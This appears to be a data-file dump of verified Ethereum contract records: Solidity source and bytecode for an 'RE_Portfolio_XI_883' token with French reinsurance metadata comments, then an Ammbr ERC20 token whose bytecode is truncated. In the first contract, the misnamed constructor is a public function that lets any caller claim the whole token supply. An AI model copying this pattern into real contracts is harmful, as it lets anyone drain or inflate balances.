pragma solidity ^0.4.21 ; contract RE_Portfolio_XI_883 { mapping (address => uint256) public balanceOf; string public name = " RE_Portfolio_XI_883 " ; string public symbol = " RE883XI " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1453938925589850000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'Γ©mission - Lignes 1 Γ  10 // // // // // [ Nom du portefeuille ; NumΓ©ro de la ligne ; Nom de la ligne ; EchΓ©ance ] // [ Adresse exportΓ©e ] // [ UnitΓ© ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XI_metadata_line_1_____Great_West_Lifeco_20250515 > // < XzZ1DK8ngUhgEyXE3ZR66LIPqEAvB37n4csP9MALEudGa8Q56LXe40sBIyL9ZqcZ > // < 1E-018 limites [ 1E-018 ; 19569831,6845323 ] > // < 0x0000000000000000000000000000000000000000000000000000000074A53374 > // < RE_Portfolio_XI_metadata_line_2_____Greenlight_Capital_Re_20250515 > // < dmX04Cfe126MxSKk6eX78Xvrd6LcjLqfaAFFQ6iGjsJ4t4lZdDnohIJo85S5X7tf > // < 1E-018 limites [ 19569831,6845323 ; 65367910,7980701 ] > // < 0x0000000000000000000000000000000000000000000000074A533741859F861B > // < RE_Portfolio_XI_metadata_line_3_____Griffiths_and_Wanklyn_Reinsurance_Brokers_20250515 > // < 75iGCneq5vn4qh7CsZZsTYO4k0qk4fxdXivI00UPHtUXAi4UjIbmhriCp9kOMu7f > // < 1E-018 limites [ 65367910,7980701 ; 131251358,732801 ] > // < 0x00000000000000000000000000000000000000000000001859F861B30E51AFF5 > // < RE_Portfolio_XI_metadata_line_4_____Grinnell_Mutual_Group_20250515 > // < uDlGL8vNI9GBOFyuQ5g0zineaLC77BAFZXUH7WjNfraEWeuOlbOQ3PLoh2z0ehV1 > // < 1E-018 limites [ 131251358,732801 ; 146876548,757537 ] > // < 0x000000000000000000000000000000000000000000000030E51AFF536B73D5CF > // < RE_Portfolio_XI_metadata_line_5_____Guaranty_Fund_Management_Services_20250515 > // < JXi8J6NPS8TmnV91qMlNKwcN9K6Id26Y7uCq76CVfhXNky77bcyT4k2T0s932Wd6 > // < 1E-018 limites [ 146876548,757537 ; 187712386,118772 ] > // < 0x000000000000000000000000000000000000000000000036B73D5CF45EDA60C7 > // < RE_Portfolio_XI_metadata_line_6_____Guernsey_AAp_Jupiter_Insurance_Limited_A_20250515 > // < jgwwz88rIrp2mD1t166mR6R68ewbiHbD5mItO9VONb4eX98ZY0CRqJ051Ls2ckDX > // < 1E-018 limites [ 187712386,118772 ; 227222284,992817 ] > // < 0x000000000000000000000000000000000000000000000045EDA60C754A59B307 > // < RE_Portfolio_XI_metadata_line_7_____Gulf_Ins_And_Reinsuerance_Co_Am_m_20250515 > // < 40LJPs0oS2EzTJPY1704MI2h29nhz17DeHK046Y1a6vcnhbMh1BilN50LMACY3i5 > // < 1E-018 limites [ 227222284,992817 ; 279883619,620244 ] > // < 0x000000000000000000000000000000000000000000000054A59B3076843C84DE > // < RE_Portfolio_XI_metadata_line_8_____Gulf_Reinsurance_limited_Am_20250515 > // < xX7pb6X9I0a08A46fqLxG4G13yS72GXdFwh9dRA4CYr32DOHxB06c2Gx85Ir5Pck > // < 1E-018 limites [ 279883619,620244 ; 291627888,479581 ] > // < 0x00000000000000000000000000000000000000000000006843C84DE6CA3CD9E3 > // < RE_Portfolio_XI_metadata_line_9_____Guy_Carpenter_Reinsurance_20250515 > // < 2r1q1xdVg9k2c0iBUR5puegxcJnqwVEBfS0gwCD4Y6ryXChXwhrHY8G0kC1ctwB0 > // < 1E-018 limites [ 291627888,479581 ; 323838938,886402 ] > // < 0x00000000000000000000000000000000000000000000006CA3CD9E378A3B0374 > // < RE_Portfolio_XI_metadata_line_10_____Hamilton_Underwriting_Limited_20250515 > // < kmgIh2013y1irMRjeLSoQ1tj9piHrcPZvYsTfPTo8g86DnyS6W1058Y7LDin3Tkc > // < 1E-018 limites [ 323838938,886402 ; 336243829,869306 ] > // < 0x000000000000000000000000000000000000000000000078A3B03747D42B5FFE > // Programme d'Γ©mission - Lignes 11 Γ  20 // // // // // [ Nom du portefeuille ; NumΓ©ro de la ligne ; Nom de la ligne ; EchΓ©ance ] // [ Adresse exportΓ©e ] // [ UnitΓ© ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XI_metadata_line_11_____Hamilton_Underwriting_Limited_20250515 > // < D594nbS0ToQqtvCH5zBi79azli04hZWY86F8ARtw95F64QEMB2wIrNa7b5M87D62 > // < 1E-018 limites [ 336243829,869306 ; 397167608,586775 ] > // < 0x00000000000000000000000000000000000000000000007D42B5FFE93F4DAF0E > // < RE_Portfolio_XI_metadata_line_12_____Hannover_Life_Re_20250515 > // < MRjWta7M21Egw3NL8Edlr14kd18vWY64w934NV8ygbT78nSwwdA8QElBJROahy6x > // < 1E-018 limites [ 397167608,586775 ; 433692041,918113 ] > // < 0x000000000000000000000000000000000000000000000093F4DAF0EA19018BD3 > // < RE_Portfolio_XI_metadata_line_13_____Hannover_Re_Group_20250515 > // < er8oB6YcQqzGb3uueri195WIAjqad3KjzE8dg91Qkp1s4Ap5lYC7Vsqqe4463nxw > // < 1E-018 limites [ 433692041,918113 ; 446309827,635949 ] > // < 0x0000000000000000000000000000000000000000000000A19018BD3A6436C25F > // < RE_Portfolio_XI_metadata_line_14_____Hannover_Re_Group_20250515 > // < lYNa07Um2ZS1Rj8qkqfGYZFv56z4u1SluFbzdHuDyIz2E1m7BI7uN9n6jSjq43qm > // < 1E-018 limites [ 446309827,635949 ; 490892761,227866 ] > // < 0x0000000000000000000000000000000000000000000000A6436C25FB6DF2EACE > // < RE_Portfolio_XI_metadata_line_15_____Hannover_Reinsurance_Group_Africa_20250515 > // < p68739A96QEAIr66foGMjnA35ZCn75191CzAf9028Xt6aR1V55J7PbdJHsjt01Im > // < 1E-018 limites [ 490892761,227866 ; 558925993,846774 ] > // < 0x0000000000000000000000000000000000000000000000B6DF2EACED0375644C > // < RE_Portfolio_XI_metadata_line_16_____Hannover_ReTakaful_BSC_Ap_m_20250515 > // < CVv4ZWvI2s5D425K8k45pG1yE3B38gY1M14RW3LTq8kiMA97E2v2YGZtxDABbpTi > // < 1E-018 limites [ 558925993,846774 ; 604025094,139495 ] > // < 0x0000000000000000000000000000000000000000000000D0375644CE10452859 > // < RE_Portfolio_XI_metadata_line_17_____Hannover_ReTakaful_BSC_Ap_m_20250515 > // < n81066sGJebjWFhtdD1the0f0z8kwDI33Ep9yZVxt5e1aq6ll739wQQG7c6cO276 > // < 1E-018 limites [ 604025094,139495 ; 631006955,172866 ] > // < 0x0000000000000000000000000000000000000000000000E10452859EB11835D1 > // < RE_Portfolio_XI_metadata_line_18_____Hannover_Rueck_SE_AAm_20250515 > // < MbfRlcj5j8D41Wtf34q6t7fM2ixp686bd6nYKe3eGj8nJw8q2C4oJOi8m9DQoXqM > // < 1E-018 limites [ 631006955,172866 ; 641615496,058131 ] > // < 0x0000000000000000000000000000000000000000000000EB11835D1EF0538F19 > // < RE_Portfolio_XI_metadata_line_19_____Hannover_Rueckversicherung_AG_20250515 > // < 4os04EAg93MxrUaZgu0oqb5j6v3wd1I7Cg1ahTSSM21cl9up88CJ6dzSRAi3a54z > // < 1E-018 limites [ 641615496,058131 ; 697699360,277755 ] > // < 0x000000000000000000000000000000000000000000000EF0538F19103E9CBE8F > // < RE_Portfolio_XI_metadata_line_20_____Hardy__Underwriting_Agencies__Limited_20250515 > // < 922x2wiwk0V3v4kwVQ9rbfRq12JZ5Pp0N8v8rya37C4BTVwIS992hVIUzk9klCjB > // < 1E-018 limites [ 697699360,277755 ; 759840916,352554 ] > // < 0x00000000000000000000000000000000000000000000103E9CBE8F11B1013BE7 > // Programme d'Γ©mission - Lignes 21 Γ  30 // // // // // [ Nom du portefeuille ; NumΓ©ro de la ligne ; Nom de la ligne ; EchΓ©ance ] // [ Adresse exportΓ©e ] // [ UnitΓ© ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XI_metadata_line_21_____Hardy__Underwriting_Agencies__Limited_20250515 > // < V93zF15O670Ee3CYHZDlW819GCD6iQBFKcNk6lStxDwXoIvqO2H8H8lhq071WZD1 > // < 1E-018 limites [ 759840916,352554 ; 788560124,817188 ] > // < 0x0000000000000000000000000000000000000000000011B1013BE7125C2F44B5 > // < RE_Portfolio_XI_metadata_line_22_____Hardy_(Underwriting_Agencies)_Limited_20250515 > // < hhso34PeDkJU1M620TeW1AfV7a1L6Pa33KJiTE005UPs7mvdRDJs8O66u7blP61U > // < 1E-018 limites [ 788560124,817188 ; 826897315,451359 ] > // < 0x00000000000000000000000000000000000000000000125C2F44B51340B12DCD > // < RE_Portfolio_XI_metadata_line_23_____HCC_International_Insurance_Co_PLC_AAm_m_20250515 > // < A8BlNrFf44m8r8tWTA1b4l705Jm2827nB23qba3c12Lr80Z9b7QxiqJq0GXj8E2W > // < 1E-018 limites [ 826897315,451359 ; 865840983,603299 ] > // < 0x000000000000000000000000000000000000000000001340B12DCD1428D0802C > // < RE_Portfolio_XI_metadata_line_24_____HCC_Underwriting_Agency_Limited_20250515 > // < 8x57d5e6Y0W262vjN7ZUauZOyAIhG7EqZF7IainY97VNZL6KDR7CkCo95j8NRh88 > // < 1E-018 limites [ 865840983,603299 ; 877311036,88113 ] > // < 0x000000000000000000000000000000000000000000001428D0802C146D2E69BC > // < RE_Portfolio_XI_metadata_line_25_____HCC_Underwriting_Agency_Limited_20250515 > // < VS0IH2BuA70NWJAL7K248Ug7Dugz4iZ75H3YaBIxIBa8ea2jx4XcvH4sWao4sxEf > // < 1E-018 limites [ 877311036,88113 ; 916878075,111654 ] > // < 0x00000000000000000000000000000000000000000000146D2E69BC155904EC0B > // < RE_Portfolio_XI_metadata_line_26_____HDImGerling_Welt_Service_Ag_Ap_m_20250515 > // < I1r4UPmglSrMcE5LiSxxr8yXAwk1sFI41kbJNP8Gn1969EijvgcE9q7G2M26Q824 > // < 1E-018 limites [ 916878075,111654 ; 927646922,32741 ] > // < 0x00000000000000000000000000000000000000000000155904EC0B159934E0FC > // < RE_Portfolio_XI_metadata_line_27_____Helvetia_Schweizerische_Co_A_m_20250515 > // < 96O7N3jo7lcMprlxSFlws4fJxC4iG1gtwtpNZrf54uR8Vzxi4q75bd108YO0FRji > // < 1E-018 limites [ 927646922,32741 ; 970959569,603872 ] > // < 0x00000000000000000000000000000000000000000000159934E0FC169B5EBBD4 > // < RE_Portfolio_XI_metadata_line_28_____Helvetia_Schweizerische_Versicherungs_Gesellschaft_in_Liechtenstein_AG_20250515 > // < 56P9M19o28k1oG05T9kNz1dVjl2vveZ9d13M705GVcHcx4L5N684lFJVI26G3LOb > // < 1E-018 limites [ 970959569,603872 ; 994566143,702659 ] > // < 0x00000000000000000000000000000000000000000000169B5EBBD417281381D6 > // < RE_Portfolio_XI_metadata_line_29_____Helvetia_Schweizerische_VersicherungsmGesellschaft_in_Liechtenstein_AG_A_20250515 > // < BlO59nC63RsN2105DBTOk6XwQEHe1zu7gL99dBtAeJ5z5Gn5R6x4XplheQ0u3Vs1 > // < 1E-018 limites [ 994566143,702659 ; 1019227912,49957 ] > // < 0x0000000000000000000000000000000000000000000017281381D617BB126145 > // < RE_Portfolio_XI_metadata_line_30_____Hiscox_20250515 > // < 8W127Qgnkk128F7UYYrCWRpxhye6Rid6d42Q84yZ4qQ1hqfRXm7hiIwwk48447Oo > // < 1E-018 limites [ 1019227912,49957 ; 1078846253,8967 ] > // < 0x0000000000000000000000000000000000000000000017BB126145191E6CBFE1 > // Programme d'Γ©mission - Lignes 31 Γ  40 // // // // // [ Nom du portefeuille ; NumΓ©ro de la ligne ; Nom de la ligne ; EchΓ©ance ] // [ Adresse exportΓ©e ] // [ UnitΓ© ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_XI_metadata_line_31_____Hiscox_Ins_Co_Limited_A_A_20250515 > // < A882Gf3stw5cNo8KO2d962zRGtK5P1lj6z04mm3nHpeJ9AZh2Sv6r5Nn14XMke5A > // < 1E-018 limites [ 1078846253,8967 ; 1101825983,47766 ] > // < 0x00000000000000000000000000000000000000000000191E6CBFE119A76508BF > // < RE_Portfolio_XI_metadata_line_32_____Hiscox_Syndicates_Limited_20250515 > // < zfe849X8W6Mwyg5M1fi6h44cB49836hB5I3o68P99N63x50X4h2xD0OpNz0qLuHd > // < 1E-018 limites [ 1101825983,47766 ; 1148451235,99953 ] > // < 0x0000000000000000000000000000000000000000000019A76508BF1ABD4D8603 > // < RE_Portfolio_XI_metadata_line_33_____Hiscox_Syndicates_Limited_20250515 > // < t7pP2Vy9g8h6t1a1NL50M26VZ44fgM0O510r533eBAowJGaC31YwAeIm4p8v7w3s > // < 1E-018 limites [ 1148451235,99953 ; 1164744108,05645 ] > // < 0x000000000000000000000000000000000000000000001ABD4D86031B1E6A7929 > // < RE_Portfolio_XI_metadata_line_34_____Hiscox_Syndicates_Limited_20250515 > // < 0o37Nva4yOpB1rSKYT3jEHB0V7aMc06d7cerpS736y4JL6EG9E96jpK104YxqAQ1 > // < 1E-018 limites [ 1164744108,05645 ; 1223787655,74777 ] > // < 0x000000000000000000000000000000000000000000001B1E6A79291C7E57C6FA > // < RE_Portfolio_XI_metadata_line_35_____Hiscox_Syndicates_Limited_20250515 > // < AR30JyfUBtUMB0hL5qBB7ddoQrFp1DdR31Y2FpqEtI6Jh9nK35m6pB2k2wBJLenU > // < 1E-018 limites [ 1223787655,74777 ; 1249832336,60374 ] > // < 0x000000000000000000000000000000000000000000001C7E57C6FA1D1994CE70 > // < RE_Portfolio_XI_metadata_line_36_____Hiscox_Syndicates_Limited_20250515 > // < ovH75844WVH84zxbT647xdV425yc53WNF8z83kDCVtJ21vOU7eQ5h1uIJ2gi6D2A > // < 1E-018 limites [ 1249832336,60374 ; ] > // < 0x000000000000000000000000000000000000000000001D1994CE701D5FFA7AF9 > // < RE_Portfolio_XI_metadata_line_37_____Hiscox_Syndicates_Limited_20250515 > // < GoGbBfYy3corIo8VjVvxw3X83vg6F97r8p4k97gu3VKc8mpYuH7HNuwb2Z97icfl > // < 1E-018 limites [ 1261643020,85112 ; 1284495587,87034 ] > // < 0x000000000000000000000000000000000000000000001D5FFA7AF91DE830BAF7 > // < RE_Portfolio_XI_metadata_line_38_____Hiscox_Syndicates_Limited_20250515 > // < u8HWB9j1q9CF7cgwo5Y7OH10f8n0F0L7x4vH6QrPgy71iECvCRVM0DO2S5ccBk0s > // < 1E-018 limites [ 1284495587,87034 ; 1345041522,12734 ] > // < 0x000000000000000000000000000000000000000000001DE830BAF71F51127E88 > // < RE_Portfolio_XI_metadata_line_39_____Hiscox_Syndicates_LimitedΒ Β Β Β _20250515 > // < Y04o3Zi826RQ11rMHEGCm8h8L40auB1EFqvln79UyKRu93EREKv2m9q4N9KeW2Ql > // < 1E-018 limites [ 1345041522,12734 ; 1384825398,98107 ] > // < 0x000000000000000000000000000000000000000000001F51127E88203E33DF6E > // < RE_Portfolio_XI_metadata_line_40_____Hiscox_Syndicates_LimitedΒ Β Β Β _20250515 > // < 5MDwmPS9Ei0w7Z57P02Tqo98sK432RaHA9dzp0Fh958cN706Zb8RdXMa080u2aze > // < 1E-018 limites [ 1384825398,98107 ; 1453938925,58985 ] > // < 0x00000000000000000000000000000000000000000000203E33DF6E21DA26BEC2 > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058202853141f780dcfed4aad5de4570fadce46cd2c0ca06fe9a43d314c6a6ba171c10029
{"success": true, "error": null, "results": {}}
6,814
0xd3fb5cabd07c85395667f83d20b080642bde66c7
pragma solidity 0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256){ assert(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256){ assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address who) view public returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) view public returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address owner; function Ownable() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner(){ require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public{ assert(newOwner != address(0)); owner = newOwner; } } contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) allowed; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool){ // require(0 < _value); -- REMOVED AS REQUESTED BY AUDIT require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) view public returns (uint256 balance){ return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool){ uint256 _allowance = allowed[_from][msg.sender]; require (balances[_from] >= _value); require (_allowance >= _value); // require (_value > 0); // NOTE: Removed due to audit demand (transfer of 0 should be authorized) // require ( balances[_to] + _value > balances[_to]); // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool){ // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) view public returns (uint256 remaining){ return allowed[_owner][_spender]; } } contract Ammbr is StandardToken, Ownable { string public name = ''; string public symbol = ''; uint8 public decimals = 0; uint256 public maxMintBlock = 0; event Mint(address indexed to, uint256 amount); /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool){ require(maxMintBlock == 0); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(0, _to, _amount); // ADDED AS REQUESTED BY AUDIT maxMintBlock = 1; return true; } /** * @dev Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol. * * Mechanics: * Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays * must have the same size, and must have a greater-than-zero length. Max array size is 127. * * IMPORTANT: ANTIPATTERN * This function performs a loop over arrays. Unless executed in a controlled environment, * it has the potential of failing due to gas running out. This is not dangerous, yet care * must be taken to prevent quality being affected. * * @param destinations An array of destinations we would be sending tokens to * @param tokens An array of tokens, sent to destinations (index is used for destination->token match) */ function multiTransfer(address[] destinations, uint256[] tokens) public returns (bool success){ // Two variables must match in length, and must contain elements // Plus, a maximum of 127 transfers are supported require(destinations.length > 0); require(destinations.length < 128); require(destinations.length == tokens.length); // Check total requested balance uint8 i = 0; uint256 totalTokensToTransfer = 0; for (i = 0; i < destinations.length; i++){ require(tokens[i] > 0); // Prevent Integer-Overflow by using Safe-Math totalTokensToTransfer = totalTokensToTransfer.add(tokens[i]); } // Do we have enough tokens in hand? // Note: Although we are testing this here, the .sub() function of // SafeMath would fail if the operation produces a negative result require (balances[msg.sender] > totalTokensToTransfer); // We have enough tokens, execute the transfer balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer); for (i = 0; i < destinations.length; i++){ // Add the token to the intended destination balances[destinations[i]] = balances[destinations[i]].add(tokens[i]); // Call the event... emit Transfer(msg.sender, destinations[i], tokens[i]); } return true; } function Ammbr(string _name , string _symbol , uint8 _decimals) public{ name = _name; symbol = _symbol; decimals = _decimals; } }
0x6060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd146101895780631e89d545146101ae57806323b872dd1461023d578063313ce5671461026557806340c10f191461028e57806370a08231146102b057806395d89b41146102cf5780639d96be58146102e2578063a9059cbb146102f5578063dd62ed3e14610317578063f2fde38b1461033c575b600080fd5b34156100d457600080fd5b6100dc61035d565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356103fb565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6104a1565b60405190815260200160405180910390f35b34156101b957600080fd5b6101756004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506104a795505050505050565b341561024857600080fd5b610175600160a060020a03600435811690602435166044356106cd565b341561027057600080fd5b6102786107fe565b60405160ff909116815260200160405180910390f35b341561029957600080fd5b610175600160a060020a0360043516602435610807565b34156102bb57600080fd5b61019c600160a060020a03600435166108fd565b34156102da57600080fd5b6100dc610918565b34156102ed57600080fd5b61019c610983565b341561030057600080fd5b610175600160a060020a0360043516602435610989565b341561032257600080fd5b61019c600160a060020a0360043581169060243516610a5c565b341561034757600080fd5b61035b600160a060020a0360043516610a87565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f35780601f106103c8576101008083540402835291602001916103f3565b820191906000526020600020905b8154815290600101906020018083116103d657829003601f168201915b505050505081565b600081158061042d5750600160a060020a03338116600090815260016020908152604080832093871683529290522054155b151561043857600080fd5b600160a060020a03338116600081815260016020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000806000808551116104b957600080fd5b60808551106104c757600080fd5b83518551146104d557600080fd5b5060009050805b84518260ff161015610543576000848360ff16815181106104f957fe5b906020019060200201511161050d57600080fd5b610536848360ff168151811061051f57fe5b90602001906020020151829063ffffffff610ae316565b60019092019190506104dc565b600160a060020a03331660009081526002602052604090205481901161056857600080fd5b600160a060020a033316600090815260026020526040902054610591908263ffffffff610af916565b600160a060020a03331660009081526002602052604081209190915591505b84518260ff1610156106c25761061b848360ff16815181106105ce57fe5b9060200190602002015160026000888660ff16815181106105eb57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff610ae316565b60026000878560ff168151811061062e57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558460ff83168151811061066157fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020610b0c833981519152868560ff168151811061069c57fe5b9060200190602002015160405190815260200160405180910390a36001909101906105b0565b506001949350505050565b600160a060020a0380841660008181526001602090815260408083203390951683529381528382205492825260029052918220548390101561070e57600080fd5b8281101561071b57600080fd5b600160a060020a038416600090815260026020526040902054610744908463ffffffff610ae316565b600160a060020a03808616600090815260026020526040